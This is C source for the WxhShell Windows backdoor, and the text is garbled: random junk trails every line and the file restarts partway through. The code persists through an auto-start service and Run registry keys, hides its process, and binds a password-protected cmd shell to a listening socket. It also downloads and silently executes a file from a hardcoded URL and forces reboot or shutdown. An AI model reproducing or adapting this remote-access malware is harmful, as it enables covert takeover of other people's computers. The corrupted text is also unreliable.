    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C;3  
    if(Boot(SHUTDOWN)) mWUkkR(/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); prEI9/d"  
    else { ;,lFocGv  
    closesocket(wsh); nV:RL|p2jw  
    ExitThread(0); "l 8YD&q  
    } w2H^q3*  
    break; "IHFme@^  
    } =4[ U<opP  
  // 获取shell Hk f<.U  
  case 's': { 3y tlD'  
    CmdShell(wsh); Na>w~  
    closesocket(wsh); !aB~G}'  
    ExitThread(0); B ({g|}|G+  
    break; ;I9g;}  
  } 5<XWbGW  
  // 退出 0Ke2%+yqJ  
  case 'x': { ~KQiNkA\|l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S3UJ)@ E  
    CloseIt(wsh); u!-v1O^[  
    break; 4L bll%[9  
    } XL7||9,(h  
  // 离开 '=0l{hv@  
  case 'q': { TKp2C5bX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '':MhRb  
    closesocket(wsh); x7xMSy  
    WSACleanup(); .uinv  
    exit(1); !]3kFWs  
    break; MTip4L W9  
        } cT5BBR   
  } p\P)    
  } =w!2R QB  
cd|/ 4L 6  
  // 提示信息 Q?V+ 0J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); */HW]x|?V~  
} |~o0 -: 'C  
  } I!#WXK  
%'uei4   
  return; 4,0 8`5{  
} F/PH=Dk  
T/FZn{I  
// shell模块句柄 T>pyYF1Q  
int CmdShell(SOCKET sock) iR"6VO  
{ ;X;(7  
STARTUPINFO si; @\r2%M-  
ZeroMemory(&si,sizeof(si)); z=TO G P(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |- <72$j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T`bUBrK6g`  
PROCESS_INFORMATION ProcessInfo; zR4]buHnE  
char cmdline[]="cmd"; naM~>N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^T*!~K8A  
  return 0; aL*}@|JL"  
} OIK46D6?.  
0NK|3]p  
// 自身启动模式 ~Ajst!Y7=  
int StartFromService(void) 3Vbt(K  
{ X~cdM1z?  
typedef struct cm0$v8  
{ @+0dgkJ  
  DWORD ExitStatus;  Cmp5or6d  
  DWORD PebBaseAddress; ~{$c|  
  DWORD AffinityMask; M0g=gmau  
  DWORD BasePriority; *+XiBho  
  ULONG UniqueProcessId; -u7NBtgUh  
  ULONG InheritedFromUniqueProcessId; qRR%aJ/  
}   PROCESS_BASIC_INFORMATION; dBwoAq`'  
+v~x_E5FP  
PROCNTQSIP NtQueryInformationProcess; \H9:%Tlp~4  
d}%-vm} 0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ftKL#9,s(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sjOv!|]A  
!"o\H(siT  
  HANDLE             hProcess; XS #u/!  
  PROCESS_BASIC_INFORMATION pbi; }g@ '^v  
Sl-9im1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :+ mULUi  
  if(NULL == hInst ) return 0; XjdHH.) S  
{\vVzy,t7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :T|9;2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V;W{pd-I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %NfXe[T  
3yw$<lm  
  if (!NtQueryInformationProcess) return 0; CiGXyhh  
MsBm0r`a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E[7E%^:Mg  
  if(!hProcess) return 0;  q(X7e  
WNZYs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V= -  
*o38f>aJl  
  CloseHandle(hProcess); in5e *  
l p(D@FT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Lq2K3JHyn  
if(hProcess==NULL) return 0; V1,/qd_  
rHM^_sYRb  
HMODULE hMod; GXIzAB(  
char procName[255]; &2U%/JqY  
unsigned long cbNeeded;  WzoI0E`  
pF7N = mO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :b*7TJ\grN  
G"m?2$^-A  
  CloseHandle(hProcess); `qYiic%  
$2,tT;50g  
if(strstr(procName,"services")) return 1; // 以服务启动 LR{bNV[i  
Te[v+jgLY,  
  return 0; // 注册表启动 E .28G2&  
} 1C<d^D_!p  
V0rQtxE{F  
// 主模块 1Y&W>p  
int StartWxhshell(LPSTR lpCmdLine) ks\q^ten  
{ -`DYDIr  
  SOCKET wsl; W~2,J4=  
BOOL val=TRUE; M^Y[Y@U=p  
  int port=0; i39ZBs@  
  struct sockaddr_in door; <i4]qO(0u  
/t< &  
  if(wscfg.ws_autoins) Install(); o[}Dj6e\t  
\|9B:y'y  
port=atoi(lpCmdLine); sQj]#/yK:  
$,J0) ~  
if(port<=0) port=wscfg.ws_port; 4H (8BNgzV  
2m]4  
  WSADATA data; P3]K'*Dyd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c|JQ0] K  
N mXRA(m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &A*E)T#>#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %\(-<aT  
  door.sin_family = AF_INET; 4sntSlz)~k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Ml<>  
  door.sin_port = htons(port); Y,GlAr s4  
CQNMCYjg(R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <tBT?#C9+  
closesocket(wsl); 9 " t;6  
return 1; z@,(^~C_  
} ||Owdw|{  
X'<RqvDc5  
  if(listen(wsl,2) == INVALID_SOCKET) { VBQAkl?(}4  
closesocket(wsl); l"(PP3  
return 1; Gp \-AwE  
} \Cu=Le^  
  Wxhshell(wsl); k(pJVez  
  WSACleanup(); 1;1;-4k7I  
Y JMs9X~3  
return 0; l"A/6r!Dp  
>\^oCbqF}~  
} 7%EIn9P  
ZzNHEV  
// 以NT服务方式启动 M9A1 8d|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zn 0y`9!n?  
{ Q-V8=.  
DWORD   status = 0; _AFje  
  DWORD   specificError = 0xfffffff; rh1PpsSc  
Qw5(5W[L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \1gAWUt('  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hHTt-x#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i9zh X1#  
  serviceStatus.dwWin32ExitCode     = 0; >J3m ta3  
  serviceStatus.dwServiceSpecificExitCode = 0; i+mU(/l2{  
  serviceStatus.dwCheckPoint       = 0; |9%~z0  
  serviceStatus.dwWaitHint       = 0; {q`8+$Z;  
>n3GvZ5%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &gruYZGK  
  if (hServiceStatusHandle==0) return; V\x'w*FP  
2,q*8=?{6P  
status = GetLastError(); oA[`| ji  
  if (status!=NO_ERROR) :0Jn`Ds4o  
{ gJr)z7W'8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )W 5g-@  
    serviceStatus.dwCheckPoint       = 0; t`E5bWG  
    serviceStatus.dwWaitHint       = 0; ]o]`X$n  
    serviceStatus.dwWin32ExitCode     = status; JyTETf,y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ewp2 1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B G\)B  
    return; )K@D4sl  
  } e-P{)L<s5  
" Ot%{&:2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VD7-;  
  serviceStatus.dwCheckPoint       = 0; esA^-$  
  serviceStatus.dwWaitHint       = 0; S$hxR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e|~{ X\l  
} y>0 @.  
Cip|eM&l  
// 处理NT服务事件,比如:启动、停止 Yg '(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L`K)mCr  
{ 0.wF2!V.  
switch(fdwControl) #*qV kPX  
{ 6Aqv*<1=62  
case SERVICE_CONTROL_STOP: -XL? n/M  
  serviceStatus.dwWin32ExitCode = 0; =23B9WT   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KTT!P 4  
  serviceStatus.dwCheckPoint   = 0; BM:p)%Pv#P  
  serviceStatus.dwWaitHint     = 0; Y\_mq d  
  { /nA>ox78  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/lL1nTdK  
  } CHv n8tk  
  return; JUA%l  
case SERVICE_CONTROL_PAUSE: M !"Q7>d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mfI[9G  
  break; Bf00&PE;  
case SERVICE_CONTROL_CONTINUE: ;kZD>G8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u`Nrg<  
  break; ";(m,i f-  
case SERVICE_CONTROL_INTERROGATE: qXq#A&  
  break; nbP}a?XC  
}; flqr["czwK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ymSo`Iv R  
} cJq {;~   
6x(b/`VW  
// 标准应用程序主函数 NiVLx_<Pr'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X%-hTl  
{ CPNV\qCY  
\R@}X cqZ  
// 获取操作系统版本 j -o  
OsIsNt=GetOsVer(); KYB3n85 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,?j!c*  
hr.mzQd  
  // 从命令行安装 |>U<EtA"  
  if(strpbrk(lpCmdLine,"iI")) Install(); [= E=H*j  
V?JmIor  
  // 下载执行文件 UV;I6]$}A7  
if(wscfg.ws_downexe) { uv$5MwKU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $aTo9{M^  
  WinExec(wscfg.ws_filenam,SW_HIDE); {)r[?%FMgV  
} i=b'_SZ '  
@]X!#&2>  
if(!OsIsNt) { wjX0r7^@  
// 如果时win9x,隐藏进程并且设置为注册表启动 h6LjReNo  
HideProc(); `{"V(YMEV  
StartWxhshell(lpCmdLine); Bq~S=bAB>R  
} otjT ?R2g'  
else 2ALYfZ|d  
  if(StartFromService()) d:&cq8^  
  // 以服务方式启动 AX@bM  
  StartServiceCtrlDispatcher(DispatchTable); 2xuU[  
else Y(rQ032s  
  // 普通方式启动 (0 t{  
  StartWxhshell(lpCmdLine); Dy. |bUB!f  
E"BW-<_!  
return 0; u];\v%b  
} kH0kf-4\  
X J]+F  
u{W I 4n?  
aF"PB h=  
=========================================== ]nIVP   
Rb b[N#p5  
u5qaLHoEP  
su\Lxv  
ZyC[w 7$I2  
>/GYw"KK  
" ?=iy 6q  
7[kDc-  
#include <stdio.h> C\C*@9=&x  
#include <string.h> u^ wG Vg  
#include <windows.h> 0\ j)!b  
#include <winsock2.h> ^JIs:\ g<<  
#include <winsvc.h> QB* AQ5-  
#include <urlmon.h> dXt@x8E  
yyVJb3n5:!  
#pragma comment (lib, "Ws2_32.lib") {2g?+8L$Z  
#pragma comment (lib, "urlmon.lib") PL\4\dXB  
!C' Y 7  
#define MAX_USER   100 // 最大客户端连接数 Gqar5  
#define BUF_SOCK   200 // sock buffer "$%&C%t  
#define KEY_BUFF   255 // 输入 buffer 6 ;\>,  
=x^IBLHN  
#define REBOOT     0   // 重启 \"K:<+RH  
#define SHUTDOWN   1   // 关机 W-RshZ\  
%I)*5M6  
#define DEF_PORT   5000 // 监听端口 O'~^wu.  
Sf`?j  
#define REG_LEN     16   // 注册表键长度 2rP!]  
#define SVC_LEN     80   // NT服务名长度 zBrqh9%8e  
i"!j:YEo  
// 从dll定义API $I4J Kh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g fv?#mp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :NwFJc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P]4u`&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z*^vdi0  
viS7+E|O  
// wxhshell配置信息 )lx;u.$4  
struct WSCFG { $*0XWrE  
  int ws_port;         // 监听端口 rJd-e96  
  char ws_passstr[REG_LEN]; // 口令 F+Hmp\rM#  
  int ws_autoins;       // 安装标记, 1=yes 0=no %`dVX EO  
  char ws_regname[REG_LEN]; // 注册表键名 m<4tH5 };d  
  char ws_svcname[REG_LEN]; // 服务名 W6 *5e{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kf",/?s2Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H8qAj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =p!Hl#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5&U?\YNLa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $>l65)(E\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <M3&\  
MIAC'_<-e  
}; ^''3}<Ep  
60 p*4>^v  
// default Wxhshell configuration zZCssn;[  
struct WSCFG wscfg={DEF_PORT, ? O e,  
    "xuhuanlingzhe", DoJ3zYEk  
    1, XlxB%  
    "Wxhshell", QfU{W@!h  
    "Wxhshell", Kv\uBMJNW  
            "WxhShell Service", 0 s%{m<  
    "Wrsky Windows CmdShell Service", 2 mvp|< "  
    "Please Input Your Password: ", }cy<$=c#E_  
  1, _3Q8R}  
  "http://www.wrsky.com/wxhshell.exe", A}03s6^i;  
  "Wxhshell.exe" 'F8:|g  
    }; FVH R  
llBW*4'  
// 消息定义模块 24_/JDz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _ <pO<S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M*jn8OE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1QuR7p  
char *msg_ws_ext="\n\rExit."; v|r#  
char *msg_ws_end="\n\rQuit."; klC48l  
char *msg_ws_boot="\n\rReboot..."; ivl_=  
char *msg_ws_poff="\n\rShutdown..."; UazUr=| e  
char *msg_ws_down="\n\rSave to "; <Dp[F|r  
Nf{tC9l  
char *msg_ws_err="\n\rErr!"; mt3j$r{_  
char *msg_ws_ok="\n\rOK!"; }&*,!ES*  
yYZ0o.<&T*  
char ExeFile[MAX_PATH]; ]u O|YLWp  
int nUser = 0; }W R?n  
HANDLE handles[MAX_USER]; ;=ERm=  
int OsIsNt; 3H/4$XJB  
<Okl.Iz>  
SERVICE_STATUS       serviceStatus; ji|tc9#6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -u 'BK@;  
V IU4QEW`x  
// 函数声明 RV+0C&0ff  
int Install(void); `zRm "G  
int Uninstall(void); tJY3k$YX  
int DownloadFile(char *sURL, SOCKET wsh); lMBXD?,,J  
int Boot(int flag); _NJq%-,'  
void HideProc(void); };;6706a  
int GetOsVer(void); A@lY{e  
int Wxhshell(SOCKET wsl); GSu&Z/Jo  
void TalkWithClient(void *cs); 0NG<uZ  
int CmdShell(SOCKET sock); 2l!* o7  
int StartFromService(void); zINziAp{  
int StartWxhshell(LPSTR lpCmdLine); {B lM<  
G^Yg[*bJ^$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &ffd#2f`@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q--;5"=S  
>NN&j#;x~  
// 数据结构和表定义 r$Ck:Q}  
SERVICE_TABLE_ENTRY DispatchTable[] = }xM >F%  
{ p8MPn>h<  
{wscfg.ws_svcname, NTServiceMain}, R~DZY{u+/$  
{NULL, NULL} 4ky@rcD1  
}; kFHtZS(  
"Dwaq*L  
// 自我安装 n$y)F} .-  
int Install(void) 4!KUPgg  
{ OmX(3>:9  
  char svExeFile[MAX_PATH]; eyGY8fF8$  
  HKEY key; u CNi&.  
  strcpy(svExeFile,ExeFile); 5}t}Wc8  
{m+(j (6-  
// 如果是win9x系统,修改注册表设为自启动 o=VDO,eS  
if(!OsIsNt) { 7Z<ba^r}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6>Szxkz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PxHH h{y%c  
  RegCloseKey(key); Os-sYaW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H|0GRjC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AlRng& o~  
  RegCloseKey(key); Xm2p<Xu8h  
  return 0; UjU*`}k3  
    } tZ ]/?+1G  
  } *^&2L,w  
} +8 AGs,  
else { 9n${M:F  
36U z fBa  
// 如果是NT以上系统,安装为系统服务 ?R}a,k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gjVKk  
if (schSCManager!=0) ESl</"<J  
{ $NtbI:e{  
  SC_HANDLE schService = CreateService _*O^|QbM  
  ( JW4~Qwx  
  schSCManager, MdOQEWJ$|  
  wscfg.ws_svcname, 5L}qL?S`x|  
  wscfg.ws_svcdisp, &u'$q  
  SERVICE_ALL_ACCESS, f6h!wx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2%Y]M%P  
  SERVICE_AUTO_START, KGsH3{r  
  SERVICE_ERROR_NORMAL, 5 5_#?vw  
  svExeFile, `'{>2d%\g  
  NULL, (0T6kD  
  NULL, VY5/C;0^h  
  NULL, v} $KlT  
  NULL, p=65L  
  NULL  !Z'x h +  
  ); .*s1d)\:  
  if (schService!=0) dt(#|8i%  
  { Rx22W:S=C.  
  CloseServiceHandle(schService); Ok=RhoZZ  
  CloseServiceHandle(schSCManager); CN$wlhs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *L3>:],7  
  strcat(svExeFile,wscfg.ws_svcname); B9RB/vHH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -&u2C}4s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /{';\?w  
  RegCloseKey(key); 2,Og(_0>  
  return 0; f@%H"8w!  
    } L/,W  
  } C[ ehw  
  CloseServiceHandle(schSCManager); I'h6!N"  
} 0P<bS?e<l  
} Lii,L}  
w{t2Oo6Q0+  
return 1; _BV'J92.  
} 9oK#n'hjb  
=!b<@41  
// 自我卸载 G02(dj  
int Uninstall(void) 1{8SKfMdP  
{ PyD'lsV  
  HKEY key; vPn(~d_  
CVh^~!"7j  
if(!OsIsNt) { 6p X[m{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yu'2  
  RegDeleteValue(key,wscfg.ws_regname); El~x$X*  
  RegCloseKey(key); F8J;L](Dq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,{ C   
  RegDeleteValue(key,wscfg.ws_regname); "-'w,g  
  RegCloseKey(key); LP8Stj JP  
  return 0; #[^?f[ 9r  
  } "0F =txduS  
} }2^_Gaj  
} OA\2ja~+  
else { lH6zZ8rh  
@tY)s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ))" *[  
if (schSCManager!=0) /Ot=GhN]  
{ 5 JE8/CbH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R$<LEwjSw  
  if (schService!=0) 8,BNs5  
  { _yq"F#,*  
  if(DeleteService(schService)!=0) { :h1-i  
  CloseServiceHandle(schService); >;N0( xB  
  CloseServiceHandle(schSCManager); 3le/(=&1  
  return 0; ,!BiB*  
  } EROf%oaz=  
  CloseServiceHandle(schService); T [ `t?,  
  } Q7X6OFl?  
  CloseServiceHandle(schSCManager); ? 8g[0/  
} 7-"ml\z  
} \$o!M1j  
uFM]4v3  
return 1; h2 2-v X  
} T-)Ur/qp  
@;iW)a_M  
// 从指定url下载文件 KJ]:0'T  
int DownloadFile(char *sURL, SOCKET wsh) \Gh]$s p  
{ N@$g"w  
  HRESULT hr;  o *2TH2  
char seps[]= "/"; [-)N}rL>  
char *token; (Yz EsY  
char *file; `p@YV(  
char myURL[MAX_PATH]; 1us-ootsjP  
char myFILE[MAX_PATH]; yIBT*,4  
c}a.  
strcpy(myURL,sURL); *Z! #6(G  
  token=strtok(myURL,seps); 'k=GSb  
  while(token!=NULL) A2{u("^[6  
  { #>+O=YO  
    file=token; b{|Ha3;w  
  token=strtok(NULL,seps); Yyq:5V!  
  } S3V3<4CB  
w /$4 Rv+S  
GetCurrentDirectory(MAX_PATH,myFILE); p/|]])2  
strcat(myFILE, "\\"); uFDJRQJ<  
strcat(myFILE, file); %oas IiO  
  send(wsh,myFILE,strlen(myFILE),0); 'u }|~u?m  
send(wsh,"...",3,0); ;iJ*.wVq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5CZii=@  
  if(hr==S_OK) M),i4a?2  
return 0; wu5]S)?*  
else Pa%;[hbn  
return 1; &?m|PK)I  
1$Rua  
} @ !0@f'}e  
fcd\{1#u  
// 系统电源模块 ^2L\Y2  
int Boot(int flag) 9Xb,Swo~  
{ <]6])f,y\  
  HANDLE hToken; ,E{z+:Es  
  TOKEN_PRIVILEGES tkp; 5;wA7@  
!424K-nW  
  if(OsIsNt) { ^nu~q+:+#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i1]*5;q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 99%oY  
    tkp.PrivilegeCount = 1; A;nrr1-0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5mwtlC':l?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5[.Dlpa'7  
if(flag==REBOOT) { F-?K]t#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iUl5yq  
  return 0; .4c*  _$  
} 8W$uw~|dw  
else { tMxa:h;/x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vT)(#0>z  
  return 0; R=g~od[N_  
} hj@< wU  
  } gs)wQgJ[  
  else { !|hxr#q=4  
if(flag==REBOOT) { t\ J5np  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QiB ^U^f  
  return 0; q:4 51C  
} 6 /^$SWd2  
else { iaAVGgA9+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gUf-1#g4\`  
  return 0; ^vXMX^*  
} q_eGY&M  
} S(kj"t*3  
\ .+.VK  
return 1; J%d\ 7  
} BdcTKC  
QeP8Vl&e:  
// win9x进程隐藏模块 zPWX%1Qr  
void HideProc(void) C$o#zu q -  
{ ydo"H9NOS  
\ IJ\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u_[^gS7  
  if ( hKernel != NULL ) /QDlm>FM4  
  { W99MA5P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G8%Q$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H)&6I33`  
    FreeLibrary(hKernel); %a%x`S3  
  } 4.)hCb  
!=j\pu} Z  
return; dI'cZt~n  
} @/i;/$\  
%N 8/g]`7  
// 获取操作系统版本 hA1\+r  
int GetOsVer(void) {2<A\nW  
{ #L[-WC]1y  
  OSVERSIONINFO winfo; 0PIiG-o9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~|+! xh  
  GetVersionEx(&winfo); Hn"xn79nc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B. Rc s  
  return 1; p!^.;c  
  else 2 2K:[K  
  return 0;  DJ?kQ  
} 8s6~l.v  
r8\"'4B1  
// 客户端句柄模块 `9QvokD  
int Wxhshell(SOCKET wsl) ad^7t<a}<  
{ 6'6 "Ogu%'  
  SOCKET wsh; 5~Vra@iab:  
  struct sockaddr_in client; `p`)D 6  
  DWORD myID; ~e,k71  
d&K2\n  
  while(nUser<MAX_USER) )SG+9!AbMZ  
{ @T53%v<5  
  int nSize=sizeof(client); b~?FV>gl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m1DzU q;  
  if(wsh==INVALID_SOCKET) return 1; :A%|'HxH3  
G0p|44_~t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &9b sTm  
if(handles[nUser]==0) k2Yh?OH  
  closesocket(wsh); !~5;Jb>s[/  
else HMsTm}d  
  nUser++; `Oz c L  
  } -QR&]U+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =Q985)Y&  
U X)k;h  
  return 0; %_xRS  
} n(^{s5 Rr  
:G$f)NMK  
// 关闭 socket =!{7ZSu\  
void CloseIt(SOCKET wsh) FG.MV-G  
{ [gm[mwZ  
closesocket(wsh); 2_lgy?OE`  
nUser--; ,-7w\%*  
ExitThread(0); J@RhbsZn  
} /mLOh2 T  
P_11N9C  
// 客户端请求句柄 #$p&J1   
void TalkWithClient(void *cs) zbsdK  
{  y/t{*a  
P,y*H_@k  
  SOCKET wsh=(SOCKET)cs; (jYHaTL6Y'  
  char pwd[SVC_LEN]; S;#S3?G  
  char cmd[KEY_BUFF]; ab ?   
char chr[1]; Oga/  
int i,j; #({0HFSC:j  
ZuIr=`"j  
  while (nUser < MAX_USER) { Vae}:8'}  
Pg[XIfBva  
if(wscfg.ws_passstr) { 3|4jS"t{f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  QDCu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0M^7#),  
  //ZeroMemory(pwd,KEY_BUFF); _[ml<HW]  
      i=0; f0rM 4"1  
  while(i<SVC_LEN) { ^_FB .y%  
{+~}iF<%  
  // 设置超时 ;Z]i$Vi_r  
  fd_set FdRead; TVVL1wZ  
  struct timeval TimeOut; 9\9:)q  
  FD_ZERO(&FdRead); w"Gci~]bXU  
  FD_SET(wsh,&FdRead); tU2 8l.  
  TimeOut.tv_sec=8; /wplP+w2  
  TimeOut.tv_usec=0; G gmv(!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HGqT"N Jr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R;+vE'&CO  
??& Q"6Oe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &2-dZK  
  pwd=chr[0]; &DoYz[q  
  if(chr[0]==0xd || chr[0]==0xa) { !{'C.sb?~  
  pwd=0; c#'t][Ii  
  break; G'b*.\=  
  } }F3}-5![  
  i++; ciRn"X=l  
    } D:`b61sWi_  
(]* Ro 8  
  // 如果是非法用户,关闭 socket ? &ie;t<7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l{tpFu9v  
} O_%X>Q9  
\.c   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LWG%]m|C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ziUEA>m */  
S<Z]gY @c  
while(1) { "G. L)oD  
9[yW&t;#  
  ZeroMemory(cmd,KEY_BUFF); $yG>=GN  
N!R>L{H>  
      // 自动支持客户端 telnet标准   ;Fw{p{7<  
  j=0; r8.R?5F@  
  while(j<KEY_BUFF) { U .?N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m2wGg/F5  
  cmd[j]=chr[0]; _P6e%O8C#  
  if(chr[0]==0xa || chr[0]==0xd) { 3[mVPV  
  cmd[j]=0; .Jk[thyU  
  break; 5>z`==N)  
  } 8nzDLFxp_  
  j++; m-V_J`9"  
    } HCOv<k  
a,<l_#'  
  // 下载文件 J1P jMb}  
  if(strstr(cmd,"http://")) { /)6+I(H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); quXL'g  
  if(DownloadFile(cmd,wsh)) #mhR^60,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7l Q@I}i  
  else NDsF<2A4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2CpA;#;7l  
  } vjNP  
  else { WdQR^'b$   
A HnXN%m  
    switch(cmd[0]) { (^h2 'uB  
